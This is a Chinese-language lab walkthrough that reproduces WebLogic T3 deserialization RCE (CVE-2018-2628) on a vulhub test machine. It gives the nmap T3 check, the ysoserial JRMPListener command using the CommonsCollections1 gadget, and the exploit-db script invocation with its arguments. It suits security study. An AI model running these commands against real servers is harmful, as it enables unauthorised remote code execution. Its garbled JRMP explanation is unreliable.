在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。(通过ObjectOutputStream类的writeObject)
反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)
RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法
JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol),JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。
Weblogic 10.3.6.0,Weblogic 12.1.3.0,Weblogic 12.2.1.2,Weblogic 12.2.1.3
靶机:Ubuntu(192.168.168.133)
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
本地:win7(172.10.24.153)
搭建好后先查看一下T3服务是否开启:
nmap -A -v -p 7001,7002 192.168.168.133 --script=weblogic-t3-info
使用windows查看,只能看见weblogic服务开启:
使用kali扫描,可见目标服务器开启了T3协议:
1、开启开启监听服务JRMPListen
本地开启监听服务JRMPListen,利用ysoserial的JRMP对1099端口监听(ysoserial下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1009 CommonsCollections1 “touch /tmp/getshell”
2、exploit脚本攻击
利用exploit脚本攻击(exploit脚本下载地址:https://www.exploit-db.com/exploits/44553)
命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#目标ip就是weblogic的ip。端口weblogic的端口
#ysoserial路径就是上方使用的ysoserial的路径
#JRMPListener port为主机端口,就是我使用的win7,监听端口上方1009
#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
3、查看文件是否创建成功
使用docker ps
查看docker名字:
进入docker:docker exec -ti cve20182628_weblogic_1 /bin/bash
查看文件:ls -la /tmp
T3协议漏洞加固的话可以打上官方最新的补丁。
参考连接:https://blog.csdn.net/csacs/article/details/87122472
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628